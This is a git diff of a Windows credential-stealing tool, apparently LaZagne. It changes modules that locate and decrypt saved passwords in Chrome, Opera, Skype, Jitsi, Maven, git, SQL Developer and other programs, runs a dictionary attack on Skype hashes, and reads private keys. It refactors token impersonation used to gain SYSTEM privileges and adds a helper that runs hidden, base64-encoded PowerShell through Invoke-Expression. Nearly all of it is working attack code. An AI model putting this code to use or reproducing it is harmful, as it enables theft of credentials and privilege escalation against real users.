prog="cmd.exe"): - # if not windll.Shell32.IsUserAnAdmin(): - # raise OSError("You need admin rights to run getsystem !") - hTokendupe=impersonate_sid(sid, close=False) - pid=start_proc_with_token([prog], hTokendupe) - windll.kernel32.CloseHandle(hTokendupe) - return pid + if global_ref: + windll.kernel32.CloseHandle(global_ref) -def getsystem(prog="cmd.exe"): - return create_proc_as_sid("S-1-5-18", prog=prog) + global_ref = hTokendupe + return addressof(hTokendupe) +# def impersonate_pid_long_handle(*args, **kwargs): +# global global_ref +# hTokendupe=impersonate_pid(*args, **kwargs) +# try: +# if global_ref is not None: +# windll.kernel32.CloseHandle(global_ref) +# except: +# pass +# global_ref=hTokendupe +# return addressof(hTokendupe) -def start_proc_with_token(args, hTokendupe, hidden=True): - ##Start the process with the token. - lpProcessInformation = PROCESS_INFORMATION() - lpStartupInfo = STARTUPINFO() - if hidden: - lpStartupInfo.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP - lpStartupInfo.wShowWindow = sub.SW_HIDE +def impersonate_token(hToken): + # Need admin privileges + if EnablePrivilege("SeDebugPrivilege"): + hTokendupe = HANDLE(INVALID_HANDLE_VALUE) + if hTokendupe: + SecurityImpersonation = 2 + TokenPrimary = 1 + if windll.advapi32.DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)): + windll.kernel32.CloseHandle(hToken) + if windll.advapi32.ImpersonateLoggedOnUser(hTokendupe): + return hTokendupe + return False + +# def create_proc_as_sid(sid, prog="cmd.exe"): +# # if not windll.Shell32.IsUserAnAdmin(): +# # raise OSError("You need admin rights to run getsystem !") +# hTokendupe=impersonate_sid(sid, close=False) +# pid=start_proc_with_token([prog], hTokendupe) +# windll.kernel32.CloseHandle(hTokendupe) +# return pid + +# def getsystem(prog="cmd.exe"): +# return create_proc_as_sid("S-1-5-18", prog=prog) + +# def start_proc_with_token(args, hTokendupe, hidden=True): +# ##Start the process with the token. +# lpProcessInformation = PROCESS_INFORMATION() +# lpStartupInfo = STARTUPINFO() +# if hidden: +# lpStartupInfo.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP +# lpStartupInfo.wShowWindow = sub.SW_HIDE - CREATE_NEW_CONSOLE = 0x00000010 - CREATE_UNICODE_ENVIRONMENT = 0x00000400 - NORMAL_PRIORITY_CLASS = 0x00000020 +# CREATE_NEW_CONSOLE = 0x00000010 +# CREATE_UNICODE_ENVIRONMENT = 0x00000400 +# NORMAL_PRIORITY_CLASS = 0x00000020 - dwCreationflag = NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE +# dwCreationflag = NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE - userenv = WinDLL('userenv', use_last_error=True) - userenv.CreateEnvironmentBlock.argtypes = (POINTER(c_void_p), c_void_p, c_int) - userenv.DestroyEnvironmentBlock.argtypes = (c_void_p,) - cenv = c_void_p() +# userenv = WinDLL('userenv', use_last_error=True) +# userenv.CreateEnvironmentBlock.argtypes = (POINTER(c_void_p), c_void_p, c_int) +# userenv.DestroyEnvironmentBlock.argtypes = (c_void_p,) +# cenv = c_void_p() - success = userenv.CreateEnvironmentBlock(byref(cenv), hTokendupe, 0) - if not success: - return +# success = userenv.CreateEnvironmentBlock(byref(cenv), hTokendupe, 0) +# if not success: +# return - success = windll.advapi32.CreateProcessAsUserA(hTokendupe, None, ' '.join(args), None, None, True, dwCreationflag, cenv, None, byref(lpStartupInfo), byref(lpProcessInformation)) - if not success: - return +# success = windll.advapi32.CreateProcessAsUserA(hTokendupe, None, ' '.join(args), None, None, True, dwCreationflag, cenv, None, byref(lpStartupInfo), byref(lpProcessInformation)) +# if not success: +# return - print_debug('INFO', 'Process created PID: ' + str(lpProcessInformation.dwProcessId)) - return lpProcessInformation.dwProcessId +# print_debug('INFO', 'Process created PID: ' + str(lpProcessInformation.dwProcessId)) +# return lpProcessInformation.dwProcessId def rev2self(): global global_ref windll.advapi32.RevertToSelf() try: - if global_ref is not None: + if global_ref: windll.kernel32.CloseHandle(global_ref) except: pass - global_ref=None - print_debug('INFO', 'Running as: ' + GetUserName()) - + global_ref = None \ No newline at end of file diff --git a/Windows/lazagne/config/constant.py b/Windows/lazagne/config/constant.py index 217f7473..2d55b5a1 100755 --- a/Windows/lazagne/config/constant.py +++ b/Windows/lazagne/config/constant.py @@ -27,5 +27,12 @@ class constant(): passwordFound = [] finalResults = {} - userprofile = '' - appdata = '' + + profile = { + 'APPDATA': '', + 'USERPROFILE': '', + 'HOMEDRIVE': '', + 'HOMEPATH': '', + 'ALLUSERSPROFILE': '' + } + username = '' \ No newline at end of file diff --git a/Windows/lazagne/config/manageModules.py b/Windows/lazagne/config/manageModules.py index f4fa1586..7636e597 100755 --- a/Windows/lazagne/config/manageModules.py +++ b/Windows/lazagne/config/manageModules.py @@ -4,10 +4,9 @@ from lazagne.softwares.browsers.opera import Opera from lazagne.softwares.browsers.ie import IE # windows +from lazagne.softwares.windows.system_hash import Hashes from lazagne.softwares.windows.network import Network from lazagne.softwares.windows.dot_net import Dot_net -from lazagne.softwares.windows.secrets import Secrets -from lazagne.softwares.windows.passwords_hints import PasswordsHint # sysadmin from lazagne.softwares.sysadmin.filezilla import Filezilla from lazagne.softwares.sysadmin.cyberduck import Cyberduck @@ -74,6 +73,7 @@ def get_modules(): FtpNavigator(), GalconFusion(), GitForWindows(), + Hashes(), IE(), Jitsi(), KalypsoMedia(), @@ -85,13 +85,11 @@ def get_modules(): OpenSSHForWindows(), Opera(), Outlook(), - PasswordsHint(), Pidgin(), Puttycm(), Robomongo(), RoguesTale(), Tortoise(), - Secrets(), Skype(), SQLDeveloper(), Squirrel(), diff --git a/Windows/lazagne/config/moduleInfo.py b/Windows/lazagne/config/moduleInfo.py index 61dd2310..51108db0 100755 --- a/Windows/lazagne/config/moduleInfo.py +++ b/Windows/lazagne/config/moduleInfo.py @@ -12,13 +12,15 @@ # options['help'] = 'skype' class ModuleInfo(): - def __init__(self, name, category, options, suboptions = [], need_high_privileges=False, need_to_be_in_env=True): + def __init__(self, name, category, options, suboptions = [], need_high_privileges=False, need_system_privileges=False, need_to_be_in_env=True, cannot_be_impersonate_using_tokens=False): self.name = name self.category = category self.options = options self.suboptions = suboptions self.need_high_privileges = need_high_privileges + self.need_system_privileges = need_system_privileges self.need_to_be_in_env = need_to_be_in_env + self.cannot_be_impersonate_using_tokens = cannot_be_impersonate_using_tokens def name(self): return self.name @@ -34,6 +36,12 @@ def suboptions(self): def need_high_privileges(self): return self.need_high_privileges + + def need_system_privileges(self): + return self.need_system_privileges def need_to_be_in_env(self): - return self.need_to_be_in_env \ No newline at end of file + return self.need_to_be_in_env + + def cannot_be_impersonate_using_tokens(self): + return self.cannot_be_impersonate_using_tokens \ No newline at end of file diff --git a/Windows/lazagne/config/powershell_execute.py b/Windows/lazagne/config/powershell_execute.py new file mode 100755 index 00000000..92426328 --- /dev/null +++ b/Windows/lazagne/config/powershell_execute.py @@ -0,0 +1,40 @@ +import _subprocess as sub +import subprocess +import base64 +import re + +def powershell_execute(script, function): + + script = re.sub("Write-Verbose ","Write-Output ", script, flags=re.I) + script = re.sub("Write-Error ","Write-Output ", script, flags=re.I) + script = re.sub("Write-Warning ","Write-Output ", script, flags=re.I) + + fullargs = ["powershell.exe", "-C", "-"] + + info = subprocess.STARTUPINFO() + info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP + info.wShowWindow = sub.SW_HIDE + p = subprocess.Popen(fullargs, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) + + p.stdin.write("$base64=\"\""+"\n") + n = 25000 + b64_script = base64.b64encode(script) + tab = [b64_script[i:i+n] for i in range(0, len(b64_script), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() + + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + + p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % function) + p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") + p.stdin.write("Write-Host $b\n") + + # Get the result in base64 + output = "" + for i in p.stdout.readline(): + output += i + output = base64.b64decode(output) + + return output \ No newline at end of file diff --git a/Windows/lazagne/softwares/browsers/chrome.py b/Windows/lazagne/softwares/browsers/chrome.py index 330a6749..4e4be179 100755 --- a/Windows/lazagne/softwares/browsers/chrome.py +++ b/Windows/lazagne/softwares/browsers/chrome.py @@ -14,32 +14,26 @@ def __init__(self): # main function def run(self, software_name = None): - database_path = '' - homedrive = '' - homepath = '' - if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ: - homedrive = os.environ.get('HOMEDRIVE') - homepath = os.environ.get('HOMEPATH') + homedrive = constant.profile['HOMEDRIVE'] + homepath = constant.profile['HOMEPATH'] # All possible path pathTab = [ - homedrive + homepath + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', - homedrive + homepath + '\AppData\Local\Google\Chrome\User Data\Default\Login Data', - homedrive + '\Users\\' + getpass.getuser() + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', - homedrive + '\Users\\' + getpass.getuser() + '\AppData\Local\Google\Chrome\User Data\Default\Login Data', - 'C:\Users\\' + getpass.getuser() + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', - 'C:\Users\\' + getpass.getuser() + '\AppData\Local\Google\Chrome\User Data\Default\Login Data' + homedrive + homepath + '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data', + homedrive + homepath + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data', + homedrive + '\\Users\\' + constant.username + '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data', + homedrive + '\\Users\\' + constant.username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data', + 'C:\\Users\\' + constant.username + '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data', + 'C:\\Users\\' + constant.username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data' ] database_path = [p for p in pathTab if os.path.exists(p)] if not database_path: print_debug('INFO', 'Google Chrome not installed.') return - - # if many path are valid - if len(database_path) !=1: - database_path = database_path[0] + database_path = database_path[0] + # Copy database before to query it (bypass lock errors) try: shutil.copy(database_path, os.getcwd() + os.sep + 'tmp_db') diff --git a/Windows/lazagne/softwares/browsers/ie.py b/Windows/lazagne/softwares/browsers/ie.py index 185f4b99..0c25591c 100755 --- a/Windows/lazagne/softwares/browsers/ie.py +++ b/Windows/lazagne/softwares/browsers/ie.py @@ -24,7 +24,7 @@ class IE(ModuleInfo): def __init__(self): options = {'command': '-e', 'action': 'store_true', 'dest': 'Internet Explorer', 'help': 'internet explorer (stored in registry and using the credential manager)'} suboptions = [{'command': '-l', 'action': 'store', 'dest': 'historic', 'help': 'text file with a list of websites', 'title': 'Advanced ie option'}] - ModuleInfo.__init__(self, 'ie', 'browsers', options, suboptions) + ModuleInfo.__init__(self, 'ie', 'browsers', options, suboptions, cannot_be_impersonate_using_tokens=True) def getData(self, blobOut): cbData = int(blobOut.cbData) diff --git a/Windows/lazagne/softwares/browsers/mozilla.py b/Windows/lazagne/softwares/browsers/mozilla.py index 46b227b2..49c04de3 100755 --- a/Windows/lazagne/softwares/browsers/mozilla.py +++ b/Windows/lazagne/softwares/browsers/mozilla.py @@ -110,20 +110,10 @@ def __init__(self, isThunderbird = False): def get_path(self, software_name): path = '' - if constant.appdata: - if software_name == 'Firefox': - path = '%s\Mozilla\Firefox' % constant.appdata - elif software_name == 'Thunderbird': - path = '%s\Thunderbird' % constant.appdata - - elif 'APPDATA' in os.environ: - if software_name == 'Firefox': - path = '%s\Mozilla\Firefox' % str(os.environ['APPDATA']) - elif software_name == 'Thunderbird': - path = '%s\Thunderbird' % str(os.environ['APPDATA']) - else: - print_debug('DEBUG', 'The APPDATA environment variable is not definded.\nUse the -s option and specify the folder path of the victim\nPath: \Application Data\Mozilla\Firefox\Profiles\') - + if software_name == 'Firefox': + path = '%s\Mozilla\Firefox' % str(constant.profile['APPDATA']) + elif software_name == 'Thunderbird': + path = '%s\Thunderbird' % str(constant.profile['APPDATA']) return path def manage_advanced_options(self): @@ -442,12 +432,9 @@ def run(self, software_name = None): # get the installation path path = self.get_path(software_name) - if not path: - print_debug('WARNING', 'Installation path not found') - return #Check if mozilla folder has been found - elif not os.path.exists(path): + if not os.path.exists(path): print_debug('INFO', software_name + ' not installed.') return else: diff --git a/Windows/lazagne/softwares/browsers/opera.py b/Windows/lazagne/softwares/browsers/opera.py index 058a1a73..896bd042 100755 --- a/Windows/lazagne/softwares/browsers/opera.py +++ b/Windows/lazagne/softwares/browsers/opera.py @@ -17,10 +17,7 @@ def run(self, software_name = None): # retrieve opera folder path = self.get_path() - if path == 'env_variable_error': - print_debug('ERROR', 'The APPDATA environment variable is not defined.') - return - elif not path: + if not path: print_debug('INFO', 'Opera is not installed.') return @@ -49,26 +46,21 @@ def run(self, software_name = None): def get_path(self): global CIPHERED_FILE - if 'APPDATA' in os.environ: - # version less than 10 - if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera\profile'): - CIPHERED_FILE = 'wand.dat' - return os.environ['APPDATA'] + '\Opera\Opera\profile' - - # version more than 10 - if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera'): - CIPHERED_FILE = 'wand.dat' - return os.environ['APPDATA'] + '\Opera\Opera' - - # new versions - elif os.path.exists(os.environ['APPDATA'] + '\Opera Software\Opera Stable'): - CIPHERED_FILE = 'Login Data' - return os.environ['APPDATA'] + '\Opera Software\Opera Stable' + # version less than 10 + if os.path.exists(constant.profile['APPDATA'] + '\Opera\Opera\profile'): + CIPHERED_FILE = 'wand.dat' + return constant.profile['APPDATA'] + '\Opera\Opera\profile' + + # version more than 10 + if os.path.exists(constant.profile['APPDATA'] + '\Opera\Opera'): + CIPHERED_FILE = 'wand.dat' + return constant.profile['APPDATA'] + '\Opera\Opera' + + # new versions + elif os.path.exists(constant.profile['APPDATA'] + '\Opera Software\Opera Stable'): + CIPHERED_FILE = 'Login Data' + return constant.profile['APPDATA'] + '\Opera Software\Opera Stable' - else: - return None - else: - return 'env_variable_error' def decipher_old_version(self, path): salt = '837DFC0F8EB3E86973AFFF' diff --git a/Windows/lazagne/softwares/chats/jitsi.py b/Windows/lazagne/softwares/chats/jitsi.py index 96a1b08e..cb4a750a 100755 --- a/Windows/lazagne/softwares/chats/jitsi.py +++ b/Windows/lazagne/softwares/chats/jitsi.py @@ -29,20 +29,11 @@ def get_salt(self): return binascii.unhexlify(hexsalt) def get_path(self): - if constant.appdata: - directory = '%s\Jitsi\sip-communicator.properties' % constant.appdata - if os.path.exists(directory): - return directory - return 'JITSI_NOT_EXISTS' - - elif 'APPDATA' in os.environ: - directory = os.environ.get('APPDATA') + os.sep + 'Jitsi' + os.sep + 'sip-communicator.properties' - if os.path.exists(directory): - return directory - else: - return 'JITSI_NOT_EXISTS' + directory = constant.profile['APPDATA'] + os.sep + 'Jitsi' + os.sep + 'sip-communicator.properties' + if os.path.exists(directory): + return directory else: - return 'Error' + return 'JITSI_NOT_EXISTS' def get_info(self, file_properties): values = {} @@ -106,10 +97,7 @@ def decrypt_password(self, encrypted_pass): # main function def run(self, software_name = None): file_properties = self.get_path() - if file_properties == 'Error': - print_debug('ERROR', 'The APPDATA environment variable is not defined') - - elif file_properties == 'JITSI_NOT_EXISTS': + if file_properties == 'JITSI_NOT_EXISTS': print_debug('INFO', 'Jitsi not installed.') else: diff --git a/Windows/lazagne/softwares/chats/pidgin.py b/Windows/lazagne/softwares/chats/pidgin.py index 67237c10..e1c6923d 100755 --- a/Windows/lazagne/softwares/chats/pidgin.py +++ b/Windows/lazagne/softwares/chats/pidgin.py @@ -9,17 +9,9 @@ def __init__(self): options = {'command': '-p', 'action': 'store_true', 'dest': 'pidgin', 'help': 'pidgin'} ModuleInfo.__init__(self, 'pidgin', 'chats', options, need_to_be_in_env=False) - def run(self, software_name = None): - if constant.appdata: - directory = '%s\.purple' % constant.appdata - path = os.path.join(directory, 'accounts.xml') - - elif 'APPDATA' in os.environ: - directory = os.environ['APPDATA'] + '\.purple' - path = os.path.join(directory, 'accounts.xml') - else: - print_debug('ERROR', 'The APPDATA environment variable is not defined.') - return + def run(self, software_name = None): + directory = constant.profile['APPDATA'] + '\.purple' + path = os.path.join(directory, 'accounts.xml') if os.path.exists(path): tree = ET.ElementTree(file=path) diff --git a/Windows/lazagne/softwares/chats/skype.py b/Windows/lazagne/softwares/chats/skype.py index 93980549..74ff0bfc 100755 --- a/Windows/lazagne/softwares/chats/skype.py +++ b/Windows/lazagne/softwares/chats/skype.py @@ -105,45 +105,42 @@ def dictionary_attack(self, login, md5): # main function def run(self, software_name = None): - if 'APPDATA' in os.environ: - directory = os.environ['APPDATA'] + '\Skype' - - if os.path.exists(directory): - # retrieve the key used to build the salt - key = self.get_regkey() - if key == 'failed': - print_debug('ERROR', 'The salt has not been retrieved') - else: - pwdFound = [] - for d in os.listdir(directory): - if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'): - values = {} + directory = constant.profile['APPDATA'] + '\Skype' + + if os.path.exists(directory): + # retrieve the key used to build the salt + key = self.get_regkey() + if key == 'failed': + print_debug('ERROR', 'The salt has not been retrieved') + else: + pwdFound = [] + for d in os.listdir(directory): + if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'): + values = {} + + try: + values['Login'] = d - try: - values['Login'] = d - - # get encrypted hash from the config file - enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml') + # get encrypted hash from the config file + enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml') + + if enc_hex == 'failed': + print_debug('WARNING', 'No credential stored on the config.xml file.') + else: + # decrypt the hash to get the md5 to brue force + values['Hash'] = self.get_md5_hash(enc_hex, key) + values['shema to bruteforce using md5'] = values['Login'] + '\\nskyper\\n' - if enc_hex == 'failed': - print_debug('WARNING', 'No credential stored on the config.xml file.') - else: - # decrypt the hash to get the md5 to brue force - values['Hash'] = self.get_md5_hash(enc_hex, key) - values['shema to bruteforce using md5'] = values['Login'] + '\\nskyper\\n' - - # Try a dictionary attack on the hash - password = self.dictionary_attack(values['Login'], values['Hash']) - if password: - values['Password'] = password + # Try a dictionary attack on the hash + password = self.dictionary_attack(values['Login'], values['Hash']) + if password: + values['Password'] = password - pwdFound.append(values) - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) + pwdFound.append(values) + except Exception,e: + print_debug('DEBUG', '{0}'.format(e)) - return pwdFound - else: - print_debug('INFO', 'Skype not installed.') + return pwdFound else: - print_debug('ERROR', 'The APPDATA environment variable is not defined.') + print_debug('INFO', 'Skype not installed.') \ No newline at end of file diff --git a/Windows/lazagne/softwares/databases/dbvis.py b/Windows/lazagne/softwares/databases/dbvis.py index 1504ae7f..35900b2d 100755 --- a/Windows/lazagne/softwares/databases/dbvis.py +++ b/Windows/lazagne/softwares/databases/dbvis.py @@ -97,14 +97,7 @@ def get_infos(self, path, passphrase, salt): return pwdFound def get_mainPath(self): - path = '' - if constant.userprofile: - path = '%s\.dbvis' % constant.userprofile - elif 'HOMEPATH' in os.environ: - path = os.environ['HOMEPATH'] + os.sep + '.dbvis' - else: - return 'var_Env_Not_Found' - + path = constant.profile['HOMEPATH'] + os.sep + '.dbvis' if os.path.exists(path): return path else: @@ -116,10 +109,6 @@ def run(self, software_name = None): if mainPath == 'DBVIS_NOT_EXISTS': print_debug('INFO', 'Dbvisualizer not installed.') - - elif mainPath == 'var_Env_Not_Found': - print_debug('ERROR', 'The HOMEPATH environment variable is not defined.') - else: passphrase = self.get_passphrase() diff --git a/Windows/lazagne/softwares/databases/robomongo.py b/Windows/lazagne/softwares/databases/robomongo.py index 7b810e5e..9dfd6dcb 100755 --- a/Windows/lazagne/softwares/databases/robomongo.py +++ b/Windows/lazagne/softwares/databases/robomongo.py @@ -1,4 +1,4 @@ -from os import environ, walk +from os import walk from os.path import isdir, isfile, join from lazagne.config.write_output import print_output, print_debug from lazagne.config.constant import * @@ -11,7 +11,7 @@ class Robomongo(ModuleInfo): def __init__(self): options = {'command': '-rbm', 'action': 'store_true', 'dest': 'robomongo', 'help': 'robomongo'} ModuleInfo.__init__(self, 'robomongo', 'database', options) - self.connections_file_location = environ.get("USERPROFILE") + "\\.config\\robomongo" + self.connections_file_location = constant.profile['USERPROFILE'] + "\\.config\\robomongo" self.connections_file_name = "robomongo.json" def read_file_content(self, file_path): diff --git a/Windows/lazagne/softwares/databases/sqldeveloper.py b/Windows/lazagne/softwares/databases/sqldeveloper.py index c18b7ad0..d2efa46a 100755 --- a/Windows/lazagne/softwares/databases/sqldeveloper.py +++ b/Windows/lazagne/softwares/databases/sqldeveloper.py @@ -35,14 +35,7 @@ def decrypt(self, salt, msg, password): return re.sub(r'[\x01-\x08]','',text) def get_mainPath(self): - directory = '' - if constant.appdata: - directory = '%s\SQL Developer' % constant.appdata - elif 'APPDATA' in os.environ: - directory = os.environ.get('APPDATA') + os.sep + 'SQL Developer' - else: - return 'Error' - + directory = constant.profile['APPDATA'] + os.sep + 'SQL Developer' if os.path.exists(directory): for d in os.listdir(directory): if d.startswith('system'): @@ -130,11 +123,8 @@ def get_infos(self, path, passphrase, salt): def run(self, software_name = None): - mainPath = self.get_mainPath() - if mainPath == 'Error': - print_debug('ERROR', 'The APPDATA environment variable is not defined.') - - elif mainPath == 'SQL_NOT_EXISTS': + mainPath = self.get_mainPath() + if mainPath == 'SQL_NOT_EXISTS': print_debug('INFO','SQL Developer not installed.') elif mainPath == 'SQL_NO_PASSWD': diff --git a/Windows/lazagne/softwares/databases/squirrel.py b/Windows/lazagne/softwares/databases/squirrel.py index 2ac6f6d3..e3caa9d5 100755 --- a/Windows/lazagne/softwares/databases/squirrel.py +++ b/Windows/lazagne/softwares/databases/squirrel.py @@ -10,15 +10,7 @@ def __init__(self): ModuleInfo.__init__(self, 'squirrel', 'database', options) def get_path(self): - path = '' - if constant.userprofile: - path = '%s\.squirrel-sql' % constant.userprofile - - elif 'HOMEPATH' in os.environ: - path = os.environ['HOMEPATH'] + os.sep + '.squirrel-sql' - else: - return 'var_Env_Not_Found' - + path = constant.profile['USERPROFILE'] + os.sep + '.squirrel-sql' if os.path.exists(path): return path else: @@ -52,8 +44,6 @@ def run(self, software_name = None): path = self.get_path() if path == 'Not_Found': print_debug('INFO', 'Squirrel not installed') - elif path == 'var_Env_Not_Found': - print_debug('ERROR', 'The HOMEPATH environment variable is not defined.') else: path += os.sep + 'SQLAliases23.xml' if os.path.exists(path): diff --git a/Windows/lazagne/softwares/games/galconfusion.py b/Windows/lazagne/softwares/games/galconfusion.py index c2df9bec..597730b7 100755 --- a/Windows/lazagne/softwares/games/galconfusion.py +++ b/Windows/lazagne/softwares/games/galconfusion.py @@ -7,7 +7,7 @@ class GalconFusion(ModuleInfo): def __init__(self): options = {'command': '-g', 'action': 'store_true', 'dest': 'galconfusion', 'help': 'galconfusion'} - ModuleInfo.__init__(self, 'galconfusion', 'games', options) + ModuleInfo.__init__(self, 'galconfusion', 'games', options, cannot_be_impersonate_using_tokens=True) def run(self, software_name = None): creds = [] diff --git a/Windows/lazagne/softwares/games/kalypsomedia.py b/Windows/lazagne/softwares/games/kalypsomedia.py index 52bcfa37..78db6c2e 100755 --- a/Windows/lazagne/softwares/games/kalypsomedia.py +++ b/Windows/lazagne/softwares/games/kalypsomedia.py @@ -17,15 +17,7 @@ def xorstring(self, s, k): def run(self, software_name = None): creds = [] key = 'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89' - - if constant.appdata: - inifile = '%s\\Kalypso Media\\Launcher\\launcher.ini' % constant.appdata - - elif 'APPDATA' in os.environ: - inifile = os.environ['APPDATA'] + '\\Kalypso Media\\Launcher\\launcher.ini' - else: - print_debug('ERROR', 'The APPDATA environment variable is not defined.') - return + inifile = constant.profile['APPDATA'] + '\\Kalypso Media\\Launcher\\launcher.ini' # The actual user details are stored in *.userdata files if not os.path.exists(inifile): diff --git a/Windows/lazagne/softwares/games/roguestale.py b/Windows/lazagne/softwares/games/roguestale.py index 80b9d0d1..1c1b947f 100755 --- a/Windows/lazagne/softwares/games/roguestale.py +++ b/Windows/lazagne/softwares/games/roguestale.py @@ -11,14 +11,7 @@ def __init__(self): def run(self, software_name = None): creds = [] - - if constant.userprofile: - directory = '%s\\Documents\\Rogue\'s Tale\\users' % constant.userprofile - if 'USERPROFILE' in os.environ: - directory = os.environ['USERPROFILE'] + '\\Documents\\Rogue\'s Tale\\users' - else: - print_debug('ERROR', 'The USERPROFILE environment variable is not defined.') - return + directory = constant.profile['USERPROFILE'] + '\\Documents\\Rogue\'s Tale\\users' # The actual user details are stored in *.userdata files if not os.path.exists(directory): diff --git a/Windows/lazagne/softwares/games/turba.py b/Windows/lazagne/softwares/games/turba.py index 4538e3a2..24a98bc2 100755 --- a/Windows/lazagne/softwares/games/turba.py +++ b/Windows/lazagne/softwares/games/turba.py @@ -8,7 +8,7 @@ class Turba(ModuleInfo): def __init__(self): options = {'command': '-t', 'action': 'store_true', 'dest': 'turba', 'help': 'turba'} - ModuleInfo.__init__(self, 'turba', 'games', options) + ModuleInfo.__init__(self, 'turba', 'games', options, cannot_be_impersonate_using_tokens=True) def run(self, software_name = None): creds = [] diff --git a/Windows/lazagne/softwares/git/gitforwindows.py b/Windows/lazagne/softwares/git/gitforwindows.py index 5e35ddd3..ccaf0bea 100755 --- a/Windows/lazagne/softwares/git/gitforwindows.py +++ b/Windows/lazagne/softwares/git/gitforwindows.py @@ -41,8 +41,8 @@ def run(self, software_name = None): # According to the "git-credential-store" documentation: # Build a list of locations in which git credentials can be stored locations = [] - locations.append(os.environ.get("USERPROFILE") + "\\.git-credentials") - locations.append(os.environ.get("USERPROFILE") + "\\.config\\git\\credentials") + locations.append(constant.profile["USERPROFILE"] + "\\.git-credentials") + locations.append(constant.profile["USERPROFILE"] + "\\.config\\git\\credentials") if "XDG_CONFIG_HOME" in os.environ: locations.append(os.environ.get("XDG_CONFIG_HOME") + "\\git\\credentials") diff --git a/Windows/lazagne/softwares/mails/outlook.py b/Windows/lazagne/softwares/mails/outlook.py index 6abd0da0..32fdc2fa 100755 --- a/Windows/lazagne/softwares/mails/outlook.py +++ b/Windows/lazagne/softwares/mails/outlook.py @@ -6,7 +6,7 @@ class Outlook(ModuleInfo): def __init__(self): options = {'command': '-o', 'action': 'store_true', 'dest': 'outlook', 'help': 'outlook - IMAP, POP3, HTTP, SMTP, LDPAP (not Exchange)'} - ModuleInfo.__init__(self, 'outlook', 'mails', options) + ModuleInfo.__init__(self, 'outlook', 'mails', options, cannot_be_impersonate_using_tokens=True) def run(self, software_name = None): accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE @@ -16,7 +16,7 @@ def run(self, software_name = None): hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) - print_debug('WARNING', 'Outlook not installed.\nAn error occurs retrieving the registry key.\nKey = %s' % keyPath) + print_debug('INFO', 'Outlook not installed.\nAn error occurs retrieving the registry key.\nKey = %s' % keyPath) return num = win32api.RegQueryInfoKey(hkey)[0] diff --git a/Windows/lazagne/softwares/maven/mavenrepositories.py b/Windows/lazagne/softwares/maven/mavenrepositories.py index f00f15fe..9590775a 100755 --- a/Windows/lazagne/softwares/maven/mavenrepositories.py +++ b/Windows/lazagne/softwares/maven/mavenrepositories.py @@ -22,7 +22,7 @@ def extract_master_password(self): :return: The master password value or None if no master password exists. """ master_password = None - master_password_file_location = os.environ.get("USERPROFILE") + "\\.m2\\settings-security.xml" + master_password_file_location = constant.profile["USERPROFILE"] + "\\.m2\\settings-security.xml" if os.path.isfile(master_password_file_location): try: config = ET.parse(master_password_file_location).getroot() @@ -45,7 +45,7 @@ def extract_repositories_credentials(self): :return: List of dict in which one dict contains all information for a repository. """ repos_creds = [] - maven_settings_file_location = os.environ.get("USERPROFILE") + "\\.m2\\settings.xml" + maven_settings_file_location = constant.profile["USERPROFILE"] + "\\.m2\\settings.xml" if os.path.isfile(maven_settings_file_location): try: settings = ET.parse(maven_settings_file_location).getroot() @@ -74,7 +74,7 @@ def use_key_auth(self, creds_dict): state = False if "privateKey" in creds_dict: pk_file_location = creds_dict["privateKey"] - pk_file_location = pk_file_location.replace("${user.home}", os.environ.get("USERPROFILE")) + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) state = os.path.isfile(pk_file_location) return state @@ -122,7 +122,7 @@ def run(self, software_name = None): else: # Case for authentication using private key pk_file_location = creds["privateKey"] - pk_file_location = pk_file_location.replace("${user.home}", os.environ.get("USERPROFILE")) + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) with open(pk_file_location, "r") as pk_file: values["PrivateKey"] = pk_file.read() if "passphrase" in creds: diff --git a/Windows/lazagne/softwares/memory/keepass.py b/Windows/lazagne/softwares/memory/keepass.py index 2e842c31..50a235dc 100755 --- a/Windows/lazagne/softwares/memory/keepass.py +++ b/Windows/lazagne/softwares/memory/keepass.py @@ -4,13 +4,10 @@ # Thanks for the great work of libkeepass (used to decrypt keepass file) # https://github.com/phpwutz/libkeepass -import _subprocess as sub -import subprocess from 